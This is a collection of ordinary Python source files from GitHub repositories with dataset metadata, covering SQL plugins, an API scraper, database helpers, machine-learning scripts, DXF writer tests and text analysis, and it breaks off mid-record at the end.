{"seq_id": "37359601544", "text": "import dask.dataframe as dd\nimport pandas as pd\n\nfrom dask_sql.datacontainer import ColumnContainer, DataContainer\nfrom dask_sql.mappings import python_to_sql_type\nfrom dask_sql.physical.rel.base import BaseRelPlugin\nfrom dask_sql.utils import get_table_from_compound_identifier\n\n\nclass ShowColumnsPlugin(BaseRelPlugin):\n \"\"\"\n Show all columns (and their types) for a given table.\n The SQL is:\n\n SHOW COLUMNS FROM \n\n The result is also a table, although it is created on the fly.\n \"\"\"\n\n class_name = \"com.dask.sql.parser.SqlShowColumns\"\n\n def convert(\n self, sql: \"org.apache.calcite.sql.SqlNode\", context: \"dask_sql.Context\"\n ) -> DataContainer:\n components = list(map(str, sql.getTable().names))\n dc = get_table_from_compound_identifier(context, components)\n\n cols = dc.column_container.columns\n dtypes = list(map(lambda x: str(python_to_sql_type(x)).lower(), dc.df.dtypes))\n df = pd.DataFrame(\n {\n \"Column\": cols,\n \"Type\": dtypes,\n \"Extra\": [\"\"] * len(cols),\n \"Comment\": [\"\"] * len(cols),\n }\n )\n\n cc = ColumnContainer(df.columns)\n dc = DataContainer(dd.from_pandas(df, npartitions=1), cc)\n return dc\n", "repo_name": "ciusji/dask-sql", "sub_path": "dask_sql/physical/rel/custom/columns.py", "file_name": "columns.py", "file_ext": "py", "file_size_in_byte": 1293, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "7", "api": [{"api_name": "dask_sql.physical.rel.base.BaseRelPlugin", "line_number": 10, "usage_type": "name"}, {"api_name": "dask_sql.utils.get_table_from_compound_identifier", "line_number": 26, "usage_type": "call"}, {"api_name": "dask_sql.mappings.python_to_sql_type", "line_number": 29, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 30, "usage_type": "call"}, {"api_name": "dask_sql.datacontainer.ColumnContainer", "line_number": 39, "usage_type": "call"}, {"api_name": "dask_sql.datacontainer.DataContainer", "line_number": 40, "usage_type": "call"}, {"api_name": "dask.dataframe.from_pandas", "line_number": 40, "usage_type": "call"}, {"api_name": "dask.dataframe", "line_number": 40, "usage_type": "name"}, {"api_name": "dask_sql.datacontainer.DataContainer", "line_number": 24, "usage_type": "name"}]} {"seq_id": "21571536843", "text": "import requests\nimport copy\nimport common\nfrom data import programmers_languages\n\nTOWN = 4\nCATALOGUES = [48]\nBASE_PAYLOAD = {'town': TOWN, 'catalogues': CATALOGUES, 'keyword': ''}\nBASE_HEADERS = {'X-Api-App-Id': ''}\nBASE_API_URL = 'https://api.superjob.ru/{}/vacancies'\n\n\ndef get_salaries(api_version, secret_key):\n return common.process_salaries(request_salaries(api_version, secret_key), get_rub_salary)\n\n\ndef request_salaries(api_version, secret_key):\n salaries = []\n api_url = BASE_API_URL.format(api_version)\n headers = copy.copy(BASE_HEADERS)\n headers['X-Api-App-Id'] = secret_key\n\n for language in programmers_languages:\n payload = copy.copy(BASE_PAYLOAD)\n payload['keyword'] = 'Программист {}'.format(language)\n\n page = 0\n get_next_results = True\n\n vacancies = []\n\n while get_next_results:\n payload['page'] = page\n response = requests.get(api_url, params=payload, headers=headers)\n get_next_results = response.json()['more']\n page += 1\n vacancies.extend(response.json()['objects'])\n\n salaries.append({'name': language, 'vacancies': vacancies})\n\n return salaries\n\n\ndef get_rub_salary(vacancy):\n if vacancy is None or vacancy['currency'] != 'rub':\n return None\n else:\n return common.predict_salary(vacancy['payment_from'], vacancy['payment_to'])", "repo_name": "poymanov/programmers-salary", "sub_path": "superjob_data_provider.py", "file_name": "superjob_data_provider.py", "file_ext": "py", "file_size_in_byte": 1407, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "common.process_salaries", "line_number": 14, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 20, "usage_type": "call"}, {"api_name": "data.programmers_languages", "line_number": 23, "usage_type": "name"}, {"api_name": "copy.copy", "line_number": 24, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 34, "usage_type": "call"}, {"api_name": "common.predict_salary", "line_number": 48, "usage_type": "call"}]} {"seq_id": "34895959573", "text": "from .default_config import DEFAULT_CONFIG\r\nfrom .internal_config import INTERNAL_CONFIG\r\nimport logging\r\n\r\nCONFIG = {}\r\n\r\ndef load_config():\r\n global CONFIG\r\n logger = logging.getLogger('RPG_API.config')\r\n try:\r\n from .config import CONFIG as CUSTOM_CONFIG\r\n logger.info('Custom config file found')\r\n except Exception:\r\n logger.warning('No custom config file found')\r\n CUSTOM_CONFIG = {}\r\n finally:\r\n CONFIG = {**DEFAULT_CONFIG, **CUSTOM_CONFIG}\r\n CONFIG.update(INTERNAL_CONFIG)\r\n\r\n", "repo_name": "Kl0ven/rpg-api", "sub_path": "config/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 540, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "config.CONFIG", "line_number": 15, "usage_type": "name"}, {"api_name": "default_config.DEFAULT_CONFIG", "line_number": 17, "usage_type": "name"}, {"api_name": "config.CONFIG", "line_number": 17, "usage_type": "name"}, {"api_name": "internal_config.INTERNAL_CONFIG", "line_number": 18, "usage_type": "argument"}]} {"seq_id": "9926709856", "text": "import os\n\nimport psycopg2\n\n\ndef get_database_connection():\n print(\"Getting database connection\")\n try:\n connection = psycopg2.connect(\n user=os.environ.get('DB_USER'),\n password=os.environ.get('DB_PASSWORD'),\n host=os.environ.get('DB_HOST'),\n port=os.environ.get('DB_PORT'),\n database=os.environ.get('DB_DATABASE'),\n )\n except psycopg2.Error as exc:\n print(f\"Error getting database connection: {exc}\")\n raise\n else:\n return connection\n\n\ndef execute_cursor(sql, values, connection):\n print(\"Executing cursor\")\n print(f\"SQL {sql}\")\n print(f\"Values: {values}\")\n try:\n cursor = connection.cursor()\n cursor.execute(sql, values)\n\n except psycopg2.Error as exc:\n print(f\"Error executing cursor: {exc}\")\n raise\n else:\n print(\"Writing to database\")\n connection.commit()\n cursor.close()\n", "repo_name": "certaintydev2/Online-Education-Platform", "sub_path": "oep-core/oep_core/database.py", "file_name": "database.py", "file_ext": "py", "file_size_in_byte": 947, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "psycopg2.connect", "line_number": 9, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 10, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 11, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 12, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 13, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 14, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 14, "usage_type": "attribute"}, {"api_name": "psycopg2.Error", "line_number": 16, "usage_type": "attribute"}, {"api_name": "psycopg2.Error", "line_number": 31, "usage_type": "attribute"}]} {"seq_id": "2268174860", "text": "\nimport numpy as np\nimport cv2\nfrom nms import diou_nms_np\nfrom nms import diou_nms_tf\nimport os\nos.environ['CUDA_VISIBLE_DEVICES'] = \"-1\"\nori_img = cv2.imread('test_pictures/1.jpg')\ndst_img = ori_img.copy()\n#\nboxes = np.array([[[130,50,300.,310],[110,20,270.,280],[160,80,330.,330]]])\nscores = np.array([[[0.1,0.8,0.2],[0.3,0.7,0.01],[0.1,0.6,0.21]]])\n\nfor box in boxes[0]:\n cv2.rectangle(ori_img,tuple(box[0:2].astype(np.int32)),tuple(box[2:4].astype(np.int32)),(255,255,0),1)\n\nnp_result = diou_nms_np(boxes, scores, iou_threshold=0.5, score_threshold=0.2)\ntf_result = diou_nms_tf(boxes, scores, iou_threshold=0.5, score_threshold=0.2)\n\nboxes = tf_result[0].numpy()[0]\nscores = tf_result[1].numpy()[0]\nclasses = tf_result[2].numpy()[0]\nnum_valid = tf_result[3].numpy()[0]\n\nfor i in range(num_valid):\n box = boxes[i]\n cv2.rectangle(dst_img, tuple(box[0:2].astype(np.int32)), tuple(box[2:4].astype(np.int32)), (0, 0, 255), 1)\n\ncv2.imshow(\"test\",np.hstack([ori_img,dst_img]))\ncv2.waitKey()\n", "repo_name": "wangermeng2021/diou-nms-tensorflow2", "sub_path": "test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 1000, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.environ", "line_number": 7, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 12, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 15, "usage_type": "attribute"}, {"api_name": "nms.diou_nms_np", "line_number": 17, "usage_type": "call"}, {"api_name": "nms.diou_nms_tf", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 27, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 30, "usage_type": "call"}]} {"seq_id": "34138627738", "text": "import serial\nimport string \nimport pynmea2\n\nport=\"/dev/ttyAMAO\"\nser=serial.Serial(port,baudrate=9600,timeout=0.5)\ndef getLattLng_NEO6M():\n global ser\n dataout =pynmea2.NMEAStreamReader()\n newdata=ser.readline()\n if newdata[0:6]==\"$GPRMC\":\n newmsg=pynmea2.parse(newdata)\n lat=newmsg.latitude\n lng=newmsg.longitude\n gps=str(lat) + \",\" +str(lng)\n return gps\n else:\n return \"0,0\"\n", "repo_name": "Nauman3S/Sensors-Node", "sub_path": "Firmware/neo6m.py", "file_name": "neo6m.py", "file_ext": "py", "file_size_in_byte": 434, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "serial.Serial", "line_number": 6, "usage_type": "call"}, {"api_name": "pynmea2.NMEAStreamReader", "line_number": 9, "usage_type": "call"}, {"api_name": "pynmea2.parse", "line_number": 12, "usage_type": "call"}]} {"seq_id": "32154946363", "text": "import argparse\nfrom pprint import pprint\n\nimport torch\nfrom utils.easydict import EasyDict as edict\nfrom tqdm import tqdm\n\nfrom utils.arg_utils import parse_unknown\nfrom utils.config import get_config\nfrom utils.misc import (RunningAverageDict, colors,count_parameters)\n\nfrom registry import create_model, create_dataset\n\n\n@torch.no_grad()\ndef evaluate(model, test_loader, config, round_vals=True, round_precision=3):\n model.eval()\n metrics = RunningAverageDict()\n for sample in tqdm(test_loader):\n metrics = {}\n metrics.update(metrics)\n\n if round_vals:\n def r(m): return round(m, round_precision)\n else:\n def r(m): return m\n metrics = {k: r(v) for k, v in metrics.get_value().items()}\n return metrics\n\n\ndef main(config):\n model = create_model(config.pop('model'), **config)\n test_loader = create_dataset(config.pop('dataset'), **config)\n model = model.cuda()\n metrics = evaluate(model, test_loader, config)\n print(f\"{colors.fg.green}\")\n print(metrics)\n print(f\"{colors.reset}\")\n metrics['#params'] = f\"{round(count_parameters(model)/1e6, 2)}M\"\n return metrics\n\n\ndef eval_model(model_name, pretrained_type, dataset='toydataset', **kwargs):\n\n # let the model load with the default nyu config\n overwrite = dict(pretrained=pretrained_type) if pretrained_type is not None else {}\n config = get_config(model_name, \"infer\", dataset, **overwrite)\n overwrite_kwargs = kwargs.get('overwrite_kwargs', {})\n config = edict({**config, **overwrite_kwargs})\n pprint(config)\n print(f\"Evaluating {model_name} on {dataset}...\")\n metrics = main(config)\n return metrics\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-m\", \"--model\", type=str,\n required=True, help=\"Name of the model to evaluate\")\n parser.add_argument(\"-p\", \"--pretrained\", type=str,\n required=False, default=None, help=\"Pretrained resource to use for fetching weights. If not set, default resource from model config is used, Refer models.model_io.load_state_from_resource for more details.\")\n parser.add_argument(\"-d\", \"--dataset\", type=str, required=False,\n default='nyu', help=\"Dataset to evaluate on\")\n\n args, unknown_args = parser.parse_known_args()\n overwrite_kwargs = parse_unknown(unknown_args)\n\n eval_model(args.model, pretrained_type=args.pretrained,\n dataset=args.dataset, overwrite_kwargs=overwrite_kwargs)\n", "repo_name": "shariqfarooq123/pytorch-template", "sub_path": "evaluate.py", "file_name": "evaluate.py", "file_ext": "py", "file_size_in_byte": 2514, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "utils.misc.RunningAverageDict", "line_number": 18, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 15, "usage_type": "call"}, {"api_name": "registry.create_model", "line_number": 32, "usage_type": "call"}, {"api_name": "registry.create_dataset", "line_number": 33, "usage_type": "call"}, {"api_name": "utils.misc.colors.fg", "line_number": 36, "usage_type": "attribute"}, {"api_name": "utils.misc.colors", "line_number": 36, "usage_type": "name"}, {"api_name": "utils.misc.colors.reset", "line_number": 38, "usage_type": "attribute"}, {"api_name": "utils.misc.colors", "line_number": 38, "usage_type": "name"}, {"api_name": "utils.misc.count_parameters", "line_number": 39, "usage_type": "call"}, {"api_name": "utils.config.get_config", "line_number": 47, "usage_type": "call"}, {"api_name": "utils.easydict.EasyDict", "line_number": 49, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 50, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 57, "usage_type": "call"}, {"api_name": "utils.arg_utils.parse_unknown", "line_number": 66, "usage_type": "call"}]} {"seq_id": "15706632066", "text": "# -*-coding:utf-8-*-\n# Author: WSKH\n# Blog: wskh0929.blog.csdn.net\n# Time: 2022/12/12 11:34\nimport csv\nimport json\nimport os\nimport pickle\nfrom torch.utils.data import DataLoader, SequentialSampler\nfrom HomeWork08.DataSet import HumanDataset\nfrom HomeWork08.TestFunction import anomaly_detection\nfrom Utils.MyDLUtil import *\nfrom pathlib import Path\n\n\ndef inference_collate_batch(batch):\n \"\"\"Collate a batch of data.\"\"\"\n feat_paths, mels = zip(*batch)\n return feat_paths, torch.stack(mels)\n\n\ndef save_pred(preds, path):\n \"\"\" Save predictions to specified file \"\"\"\n with open(path, 'w', newline='') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerows(preds)\n print(\"Saved successfully: \" + path)\n\n\nif __name__ == '__main__':\n # 防止报错 OMP: Error #15: Initializing libiomp5md.dll, but found libiomp5md.dll already initialized.\n os.environ[\"KMP_DUPLICATE_LIB_OK\"] = \"TRUE\"\n\n # data path\n data_dir = r'D:\\4 StudyData\\Python教程\\Pytorch模型数据\\Pytorch08\\ml2022spring-hw8\\data'\n\n # load and print config\n with open(\"./outputs/models/config\", \"rb\") as file:\n config = pickle.load(file)\n print(\"config:\")\n print(json.dumps(config, indent=4, ensure_ascii=False, sort_keys=False, separators=(',', ':')))\n\n # Set seed for reproducibility\n same_seed(config['seed'])\n\n # create test_save_dir\n Path(config['test_save_dir']).mkdir(parents=True, exist_ok=True)\n\n # read test data\n test_set = np.load(os.path.join(data_dir, 'testingset.npy'), allow_pickle=True)\n test_tensor = torch.tensor(test_set, dtype=torch.float32)\n test_dataset = HumanDataset(test_tensor)\n test_sampler = SequentialSampler(test_dataset)\n test_loader = DataLoader(test_dataset, sampler=test_sampler, batch_size=200)\n\n # 加载模型\n checkpoint_path = os.path.join(config['model_save_dir'], f'best_mode_{config[\"model_type\"]}.pt')\n model = torch.load(checkpoint_path)\n\n # testing\n # 异常检测\n anomaly_detection(test_loader, model, config['model_type'], config['device'], config['test_save_dir'])\n", "repo_name": "WSKH0929/LHY_DeepLearning_2022", "sub_path": "LHY_DeepLearning_2022/HomeWork08/Run_Test.py", "file_name": "Run_Test.py", "file_ext": "py", "file_size_in_byte": 2092, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.utils.data.stack", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 19, "usage_type": "name"}, {"api_name": "csv.writer", "line_number": 25, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 32, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 39, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 41, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "torch.utils.data.tensor", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 51, "usage_type": "name"}, {"api_name": "torch.utils.data.float32", "line_number": 51, "usage_type": "attribute"}, {"api_name": "HomeWork08.DataSet.HumanDataset", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.utils.data.SequentialSampler", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "torch.utils.data.load", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 58, "usage_type": "name"}, {"api_name": "HomeWork08.TestFunction.anomaly_detection", "line_number": 62, "usage_type": "call"}]} {"seq_id": "9942984266", "text": "from __future__ import unicode_literals\nimport pytest\nimport os\nfrom random import random\nimport ezdxf\nfrom ezdxf.r12writer import r12writer\n\nMAX_X_COORD = 1000.0\nMAX_Y_COORD = 1000.0\nCIRCLE_COUNT = 999\n\n\n@pytest.fixture(scope='module')\ndef filename(tmpdir_factory):\n return str(tmpdir_factory.getbasetemp().join(\"r12writer.dxf\"))\n\n\ndef test_if_exists(filename):\n if os.path.exists(filename):\n os.remove(filename)\n\n assert not os.path.exists(filename)\n\n\ndef test_write_r12(filename):\n with r12writer(filename) as dxf:\n dxf.add_line((0, 0), (17, 23))\n dxf.add_arc((0, 0), radius=3, start=0, end=175)\n dxf.add_solid([(0, 0), (1, 0), (0, 1), (1, 1)])\n dxf.add_point((1.5, 1.5))\n dxf.add_polyline([(5, 5), (7, 3), (7, 6)]) # 2d polyline\n dxf.add_polyline([(4, 3, 2), (8, 5, 0), (2, 4, 9)]) # 3d polyline\n dxf.add_text(\"test the text entity\", align=\"MIDDLE_CENTER\")\n\n for i in range(CIRCLE_COUNT):\n dxf.add_circle((MAX_X_COORD*random(), MAX_Y_COORD*random()), radius=2)\n\n assert os.path.exists(filename)\n\n\ndef test_read_r12(filename):\n dwg = ezdxf.readfile(filename)\n msp = dwg.modelspace()\n circles = msp.query('CIRCLE')\n assert len(circles) == CIRCLE_COUNT\n\n\ndef test_context_manager(filename):\n with pytest.raises(ValueError):\n with r12writer(filename) as dxf:\n dxf.add_line((0, 0), (17, 23))\n raise ValueError()\n\n dwg = ezdxf.readfile(filename)\n entities = list(dwg.modelspace())\n assert len(entities) == 1\n assert entities[0].dxftype() == 'LINE'\n\n", "repo_name": "YunbiaoCao/ezdxf", "sub_path": "integration_tests/test_r12writer.py", "file_name": "test_r12writer.py", "file_ext": "py", "file_size_in_byte": 1594, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "7", "api": [{"api_name": "pytest.fixture", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "ezdxf.r12writer.r12writer", "line_number": 26, "usage_type": "call"}, {"api_name": "random.random", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "ezdxf.readfile", "line_number": 42, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 49, "usage_type": "call"}, {"api_name": "ezdxf.r12writer.r12writer", "line_number": 50, "usage_type": "call"}, {"api_name": "ezdxf.readfile", "line_number": 54, "usage_type": "call"}]} {"seq_id": "25921608567", "text": "#! /usr/bin/python3\n# -*- coding: utf-8 -*-\n\"\"\"Discourse Relation Sense Classifier\n\nFeel free to change/restructure the code below\n\"\"\"\n\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Embedding\nimport numpy as np\nimport json\nimport spacy\n\n\nif __name__ == \"__main__\":\n train_file = \"../annotated_data/train.jsonl\"\n test_file = \"../annotated_data/test.jsonl\"\n NLP = spacy.load(\"en_core_web_sm\", disable=[\"ner\"])\n vocab = {\"\": 0}\n with open(train_file) as infile:\n lines = infile.readlines()\n\n for line in lines:\n json_line = json.loads(line)\n text = json_line[\"text\"]\n doc = NLP(text)\n for word in doc:\n if word.norm_ not in vocab:\n vocab[word.norm_] = len(vocab)\n\n # with open(test_file) as testfile:\n # lines = testfile.readlines()\n # for line in lines:\n # json_line = json.loads(line)\n # text = json_line[\"text\"]\n # doc = NLP(text)\n # for word in doc:\n # vocab[word] = len(vocab)\n\n encoded_docs = []\n max_len = 50\n for line in lines:\n json_line = json.loads(line)\n text = json_line[\"text\"]\n doc = NLP(text)\n encoded_doc = []\n for word in doc:\n encoded_doc.append(vocab[word.norm_])\n encoded_doc = encoded_doc[:max_len]\n encoded_doc += [0] * (max_len - len(encoded_doc)) # padding & length 30\n encoded_docs.append(encoded_doc)\n\n model = Sequential()\n model.add(Embedding(len(vocab), 100, input_length=max_len))\n model.compile('rmsprop', 'mse')\n input_array = np.asarray(encoded_docs)\n output_array = model.predict(input_array)\n embeddings = {}\n revr_vocab = {vocab[word]: word for word in vocab}\n words = []\n with open(\"embedding.txt\", \"w\") as outfile:\n for doc_ind in range(len(encoded_docs)):\n doc = encoded_docs[doc_ind]\n for index in range(len(doc)):\n word = revr_vocab[doc[index]]\n if word not in words:\n outfile.write(word+\"\\t\")\n output_array[doc_ind][index].tofile(outfile, sep=\",\")\n outfile.write(\"\\n\")\n words.append(word)\n", "repo_name": "LizLian/Name-Entity-Recognition-of-Captioned-Photos", "sub_path": "generator/word_embedding.py", "file_name": "word_embedding.py", "file_ext": "py", "file_size_in_byte": 2242, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "spacy.load", "line_number": 18, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 24, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 43, "usage_type": "call"}, {"api_name": "tensorflow.keras.models.Sequential", "line_number": 53, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Embedding", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 56, "usage_type": "call"}]} {"seq_id": "20395942378", "text": "import matplotlib.pyplot as plt\r\nimport cv2,os\r\nimport glob\r\n\r\nrows = 3\r\ncols = 5\r\nfig = plt.figure(figsize=(7,8))\r\n\r\nfile_path =r\"E:\\DICOM\\medical dataset\\archive\\loop test_dyed-resection-margins\\*.JPG\"\r\nfile = (glob.glob(file_path))\r\nimg_file = [cv2.imread(img) for img in file]\r\n\r\n\r\nfor i in range(0,len(img_file),rows*cols):\r\n fig = plt.figure(figsize=(7,8))\r\n for j in range(0,rows*cols):\r\n fig.add_subplot(rows,cols,j+1)\r\n plt.imshow(cv2.cvtColor(img_file[i+j],cv2.COLOR_BGR2RGB))\r\n plt.show() \r\n\r\n", "repo_name": "abhiruppeeyalsinha/Medical-Imaging-Classification-Using-Transfer-Learning", "sub_path": "multi_plot.py", "file_name": "multi_plot.py", "file_ext": "py", "file_size_in_byte": 530, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 7, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "cv2.cvtColor", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 18, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}]} {"seq_id": "70938854625", "text": "# The goal of this python file is to perform unsupervised analysis\n# on data that has just been preprocessed\n\nimport texthero as hero\nimport pandas as pd\nimport os\nimport sys\nfrom typing import List\nfrom tqdm import tqdm\n\nfrom Learning_equality_curriculum_recommendation.configs.confs import load_conf,clean_params, Loader\n\nmain_params = load_conf(\"configs/main.yml\", include=True)\nmain_params = clean_params(main_params)\ntqdm.pandas()\n\n\n\ndef single_column_analysis(column_inspected: str)->pd.DataFrame:\n \"\"\"\n The goal of this function is to get the kind (video, html) of given \n content ids \n \n Arguments:\n -column_inspected: str: The column that is to be \n compared between topics and content\n \n Returns:\n -correlations: pd.DataFrame: The DataFrame with the compared\n column for each content id\n \"\"\"\n if os.path.exists(\"data/correlations.csv\"):\n correlations=pd.read_csv(\"data/correlations.csv\")\n content=pd.read_csv(\"data/content.csv\")\n topics=pd.read_csv(\"data/topics.csv\")\n else:\n correlations = pd.read_csv(main_params[\"correlations_link\"])\n topics = pd.read_csv(main_params[\"topics_link\"])\n content = pd.read_csv(main_params[\"content_link\"])\n\n correlations[\"content_ids\"]=correlations[\"content_ids\"].apply(lambda x: x.split(\" \"))\n correlations=correlations.explode(\"content_ids\")\n topics=topics[[\"id\",column_inspected]].rename(columns={column_inspected:\"topics_\"+column_inspected})\n content=content[[\"id\",column_inspected]].rename(columns={column_inspected:\"content_\"+column_inspected})\n correlations=correlations.merge(topics,left_on=\"topic_id\",right_on=\"id\",how=\"left\")\n correlations=correlations.merge(content,left_on=\"content_ids\",right_on=\"id\",how=\"left\")\n correlations=correlations.drop([\"id_x\",\"id_y\"],axis=1)\n return correlations\n\nclass Dimension_Reduction:\n \"\"\"\n The goal of this class is to apply\n dimension reduction techniques on\n the preprocessed data in order to have\n insights on its internal structure\n\n Arguments:\n -df: pd.DataFrame: The Dataframe\n on which unsupervised methods will\n be applied\n \"\"\"\n\n def __init__(self, df: pd.DataFrame) -> None:\n self.df = df\n\n def pca(self) -> pd.DataFrame:\n \"\"\"\n The goal of this function is applying the\n Principal Component analysis method on the\n preprocessed DataFrame to gain insight on\n its data in lower dimension\n\n Arguments:\n -None\n\n Returns:\n -self.df: pd.DataFrame: The DataFrame after\n dimension reduction was applied\n \"\"\"\n\n self.df[\"clean_title_pca\"] = hero.do_pca(self.df[\"title\"])\n\n return self.df\n\n def visualize_pca(self, column=\"label\") -> None:\n \"\"\"\n The goal of this function is to visualize PCA\n once it has been applied\n\n Arguments:\n -column: str: The column which will be used\n as colour\n\n Returns:\n -None\n \"\"\"\n hero.scatterplot(\n self.df,\n col=\"clean_title_pca\",\n color=column,\n title=\"PCA visualisation of language distribution\",\n )\n\n\nclass Clustering:\n \"\"\"\n The goal of this class is to perform \n unsupervised clustering methods on the \n textual data that has just been preprocessed\n\n Arguments:\n -df: pd.DataFrame: The preprocessed DataFrame\n on which the clustering will be performed\n \"\"\"\n\n def __init__(self, df:pd.DataFrame) -> None:\n self.df=df\n\n def dbscan(self)->pd.DataFrame:\n \"\"\"\n The goal of this function is to perform\n the DBSCAN clustering algorithm on the \n preprocessed data\n \n Arguments:\n -None\n \n Returns:\n -self.df: pd.DataFrame: The DataFrame\n after clustering was performed on its\n preprocessed data\n \"\"\"\n\n self.df[\"title_dbscan\"]=hero.do_dbscan(self.df[\"title\"])\n self.df['label'] = pd.Categorical(self.df['title_dbscan'],\n categories=self.df['title_dbscan'].sort_values().unique())\n\n return self.df\n", "repo_name": "HippolyteGuigon/Learning_Equality_Curriculum_Recommendations", "sub_path": "Learning_equality_curriculum_recommendation/analysis/analysis.py", "file_name": "analysis.py", "file_ext": "py", "file_size_in_byte": 4227, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "Learning_equality_curriculum_recommendation.configs.confs.load_conf", "line_number": 13, "usage_type": "call"}, {"api_name": "Learning_equality_curriculum_recommendation.configs.confs.clean_params", "line_number": 14, "usage_type": "call"}, {"api_name": "tqdm.tqdm.pandas", "line_number": 15, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 15, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 33, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 34, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 35, "usage_type": "call"}, {"api_name": 